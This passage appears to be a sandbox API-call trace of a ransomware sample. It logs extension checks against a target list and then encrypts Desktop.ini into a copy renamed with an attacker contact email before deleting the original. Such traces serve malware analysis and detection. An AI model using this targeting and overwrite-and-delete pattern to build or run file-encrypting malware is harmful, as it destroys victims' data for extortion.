(lpString1=".rar", lpString2=".gif") returned 1 [0052.247] lstrlenW (lpString=".bz2") returned 4 [0052.247] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0052.247] lstrlenW (lpString=".7z") returned 3 [0052.247] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0052.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0052.247] lstrlenW (lpString=".dbf") returned 4 [0052.247] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0052.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0052.247] lstrlenW (lpString=".1cd") returned 4 [0052.247] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0052.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0052.247] lstrlenW (lpString=".jpg") returned 4 [0052.247] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0052.247] lstrcmpiW (lpString1=".gif", lpString2=".asd") returned 1 [0052.247] lstrlenW (lpString="Connectivity.gif") returned 16 [0052.247] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0052.248] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x22fff1c | out: lpFileSize=0x22fff1c*=2319) returned 1 [0052.248] CloseHandle (hObject=0x188) returned 1 [0052.248] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif")) returned 0x20 [0052.248] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0052.248] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0052.248] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0052.248] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0052.248] lstrlenW (lpString=".doc") returned 4 [0052.248] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0052.248] lstrlenW (lpString=".docx") returned 5 [0052.248] lstrcmpiW (lpString1=".docx", lpString2="y.gif") returned -1 [0052.248] lstrlenW (lpString=".pdf") returned 4 [0052.248] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0052.248] lstrlenW (lpString=".xls") returned 4 [0052.249] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0052.249] lstrlenW (lpString=".xlsx") returned 5 [0052.249] lstrcmpiW (lpString1=".xlsx", lpString2="y.gif") returned -1 [0052.249] lstrlenW (lpString=".ppt") returned 4 [0052.249] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0052.249] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0052.249] lstrlenW (lpString=".zip") returned 4 [0052.249] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0052.249] lstrlenW (lpString=".rar") returned 4 [0052.249] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0052.249] lstrlenW (lpString=".bz2") returned 4 [0052.249] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0052.249] lstrlenW (lpString=".7z") returned 3 [0052.249] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0052.249] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0052.249] lstrlenW (lpString=".dbf") returned 4 [0052.249] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0052.249] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0052.249] lstrlenW (lpString=".1cd") returned 4 [0052.249] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0052.249] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0052.249] lstrlenW (lpString=".jpg") returned 4 [0052.249] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0052.249] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0052.249] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0052.249] lstrlenW (lpString=".doc") returned 4 [0052.249] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0052.249] lstrlenW (lpString=".docx") returned 5 [0052.249] lstrcmpiW (lpString1=".docx", lpString2="y.gif") returned -1 [0052.249] lstrlenW (lpString=".pdf") returned 4 [0052.249] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0052.249] lstrlenW (lpString=".xls") returned 4 [0052.249] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0052.250] lstrlenW (lpString=".xlsx") returned 5 [0052.250] lstrcmpiW (lpString1=".xlsx", lpString2="y.gif") returned -1 [0052.250] lstrlenW (lpString=".ppt") returned 4 [0052.250] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0052.250] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0052.250] lstrlenW (lpString=".zip") returned 4 [0052.250] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0052.250] lstrlenW (lpString=".rar") returned 4 [0052.250] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0052.250] lstrlenW (lpString=".bz2") returned 4 [0052.250] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0052.250] lstrlenW (lpString=".7z") returned 3 [0052.250] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0052.250] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0052.250] lstrlenW (lpString=".dbf") returned 4 [0052.250] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0052.250] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0052.250] lstrlenW (lpString=".1cd") returned 4 [0052.250] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0052.250] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0052.250] lstrlenW (lpString=".jpg") returned 4 [0052.250] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0052.250] lstrcmpiW (lpString1=".ini", lpString2=".asd") returned 1 [0052.250] lstrlenW (lpString="Desktop.ini") returned 11 [0052.250] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0052.251] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x22fff1c | out: lpFileSize=0x22fff1c*=645) returned 1 [0052.251] CloseHandle (hObject=0x188) returned 1 [0052.251] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini")) returned 0x26 [0052.251] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0052.251] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0052.251] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0052.251] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0052.251] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0052.252] GetLastError () returned 0x0 [0052.252] ReadFile (in: hFile=0x188, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x285, lpOverlapped=0x0) returned 1 [0052.252] WriteFile (in: hFile=0x210, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0x290, lpOverlapped=0x0) returned 1 [0052.253] ReadFile (in: hFile=0x188, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x0, lpOverlapped=0x0) returned 1 [0052.253] WriteFile (in: hFile=0x210, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0xea, lpOverlapped=0x0) returned 1 [0052.254] SetEndOfFile (hFile=0x210) returned 1 [0052.254] CloseHandle (hObject=0x210) returned 1 [0052.254] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0052.254] SetEndOfFile (hFile=0x188) returned 1 [0052.255] CloseHandle (hObject=0x188) returned 1 [0052.255] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x26) returned 1 [0052.255] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini")) returned 1 [0052.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0052.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0052.255] lstrlenW (lpString=".doc") returned 4 [0052.255] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0052.255] lstrlenW (lpString=".docx") returned 5 [0052.255] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0052.255] lstrlenW (lpString=".pdf") returned 4 [0052.255] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0052.255] lstrlenW (lpString=".xls") returned 4 [0052.255] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0052.255] lstrlenW (lpString=".xlsx") returned 5 [0052.255] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0052.255] lstrlenW (lpString=".ppt") returned 4 [0052.255] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0052.256] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0052.256] lstrlenW (lpString=".zip") returned 4 [0052.256] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0052.256] lstrlenW (lpString=".rar") returned 4 [0052.256] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0052.256] lstrlenW (lpString=".bz2") returned 4 [0052.256] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0052.256] lstrlenW (lpString=".7z") returned 3 [0052.256] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0052.256] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0052.256] lstrlenW (lpString=".dbf") returned 4 [0052.256] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0052.256] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0052.256] lstrlenW (lpString=".1cd") returned 4 [0052.256] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0052.256] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0052.256] lstrlenW (lpString=".jpg") returned 4 [0052.256] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0052.256] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0052.256] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0052.256] lstrlenW (lpString=".doc") returned 4 [0052.256] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0052.256] lstrlenW (lpString=".docx") returned 5 [0052.256] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0052.256] lstrlenW (lpString=".pdf") returned 4 [0052.256] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0052.256] lstrlenW (lpString=".xls") returned 4 [0052.256] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0052.256] lstrlenW (lpString=".xlsx") returned 5 [0052.256] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0052.256] lstrlenW (lpString=".ppt") returned 4 [0052.256] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0052.256] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0052.257] lstrlenW (lpString=".zip") returned 4 [0052.257] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0052.257] lstrlenW (lpString=".rar") returned 4 [0052.257] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0052.257] lstrlenW (lpString=".bz2") returned 4 [0052.257] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0052.257] lstrlenW (lpString=".7z") returned 3 [0052.257] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0052.257] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0052.257] lstrlenW (lpString=".dbf") returned 4 [0052.257] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0052.257] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0052.257] lstrlenW (lpString=".1cd") returned 4 [0052.257] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0052.257] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0052.257] lstrlenW (lpString=".jpg") returned 4 [0052.257] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0052.257] lstrcmpiW (lpString1=".emf", lpString2=".asd") returned 1 [0052.257] lstrlenW (lpString="Dotted_Lines.emf") returned 16 [0052.257] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0052.257] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x22fff1c | out: lpFileSize=0x22fff1c*=3792) returned 1 [0052.257] CloseHandle (hObject=0x188) returned 1 [0052.258] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf")) returned 0x20 [0052.258] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0052.258] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0052.258] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0052.258] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0052.258] lstrlenW (lpString=".doc") returned 4 [0052.258] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0052.258] lstrlenW (lpString=".docx") returned 5 [0052.258] lstrcmpiW (lpString1=".docx", lpString2="s.emf") returned -1 [0052.258] lstrlenW (lpString=".pdf") returned 4 [0052.258] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0052.258] lstrlenW (lpString=".xls") returned 4 [0052.258] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0052.258] lstrlenW (lpString=".xlsx") returned 5 [0052.258] lstrcmpiW (lpString1=".xlsx", lpString2="s.emf") returned -1 [0052.258] lstrlenW (lpString=".ppt") returned 4 [0052.258] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0052.258] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0052.258] lstrlenW (lpString=".zip") returned 4 [0052.258] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0052.258] lstrlenW (lpString=".rar") returned 4 [0052.258] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0052.258] lstrlenW (lpString=".bz2") returned 4 [0052.258] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0052.258] lstrlenW (lpString=".7z") returned 3 [0052.258] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0052.258] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0052.258] lstrlenW (lpString=".dbf") returned 4 [0052.259] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0052.259] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0052.259] lstrlenW (lpString=".1cd") returned 4 [0052.259] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0052.259] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0052.259] lstrlenW (lpString=".jpg") returned 4 [0052.259] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0052.259] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0052.259] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0052.259] lstrlenW (lpString=".doc") returned 4 [0052.259] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0052.259] lstrlenW (lpString=".docx") returned 5 [0052.259] lstrcmpiW (lpString1=".docx", lpString2="s.emf") returned -1 [0052.259] lstrlenW (lpString=".pdf") returned 4 [0052.259] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0052.259] lstrlenW (lpString=".xls") returned 4 [0052.259] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0052.259] lstrlenW (lpString=".xlsx") returned 5 [0052.259] lstrcmpiW (lpString1=".xlsx", lpString2="s.emf") returned -1 [0052.259] lstrlenW (lpString=".ppt") returned 4 [0052.259] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0052.259] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0052.259] lstrlenW (lpString=".zip") returned 4 [0052.259] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0052.259] lstrlenW (lpString=".rar") returned 4 [0052.259] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0052.259] lstrlenW (lpString=".bz2") returned 4 [0052.259] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0052.259] lstrlenW (lpString=".7z") returned 3 [0052.259] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0052.259] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0052.259] lstrlenW (lpString=".dbf") returned 4 [0052.259] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0052.259] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0052.260] lstrlenW (lpString=".1cd") returned 4 [0052.260] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0052.260] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0052.260] lstrlenW (lpString=".jpg") returned 4 [0052.260] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0052.260] lstrcmpiW (lpString1=".htm", lpString2=".asd") returned 1 [0052.260] lstrlenW (lpString="Garden.htm") returned 10 [0052.260] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0052.260] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x22fff1c | out: lpFileSize=0x22fff1c*=231) returned 1 [0052.260] CloseHandle (hObject=0x188) returned 1 [0052.260] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm")) returned 0x20 [0052.260] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0052.260] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0052.260] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0052.260] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0052.260] lstrlenW (lpString=".doc") returned 4 [0052.261] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0052.261] lstrlenW (lpString=".docx") returned 5 [0052.261] lstrcmpiW (lpString1=".docx", lpString2="n.htm") returned -1 [0052.261] lstrlenW (lpString=".pdf") returned 4 [0052.261] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0052.261] lstrlenW (lpString=".xls") returned 4 [0052.261] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0052.261] lstrlenW (lpString=".xlsx") returned 5 [0052.261] lstrcmpiW (lpString1=".xlsx", lpString2="n.htm") returned -1 [0052.261] lstrlenW (lpString=".ppt") returned 4 [0052.261] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0052.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0052.261] lstrlenW (lpString=".zip") returned 4 [0052.261] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0052.261] lstrlenW (lpString=".rar") returned 4 [0052.261] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0052.261] lstrlenW (lpString=".bz2") returned 4 [0052.261] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0052.261] lstrlenW (lpString=".7z") returned 3 [0052.261] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0052.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0052.261] lstrlenW (lpString=".dbf") returned 4 [0052.261] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0052.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0052.261] lstrlenW (lpString=".1cd") returned 4 [0052.261] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0052.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0052.261] lstrlenW (lpString=".jpg") returned 4 [0052.261] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0052.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0052.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0052.261] lstrlenW (lpString=".doc") returned 4 [0052.261] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0052.262] lstrlenW (lpString=".docx") returned 5 [0052.262] lstrcmpiW (lpString1=".docx", lpString2="n.htm") returned -1 [0052.262] lstrlenW (lpString=".pdf") returned 4 [0052.262] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0052.262] lstrlenW (lpString=".xls") returned 4 [0052.262] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0052.262] lstrlenW (lpString=".xlsx") returned 5 [0052.262] lstrcmpiW (lpString1=".xlsx", lpString2="n.htm") returned -1 [0052.262] lstrlenW (lpString=".ppt") returned 4 [0052.262] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0052.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0052.262] lstrlenW (lpString=".zip") returned 4 [0052.262] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0052.262] lstrlenW (lpString=".rar") returned 4 [0052.262] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0052.262] lstrlenW (lpString=".bz2") returned 4 [0052.262] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0052.262] lstrlenW (lpString=".7z") returned 3 [0052.262] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0052.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0052.262] lstrlenW (lpString=".dbf") returned 4 [0052.262] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0052.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0052.262] lstrlenW (lpString=".1cd") returned 4 [0052.262] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0052.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 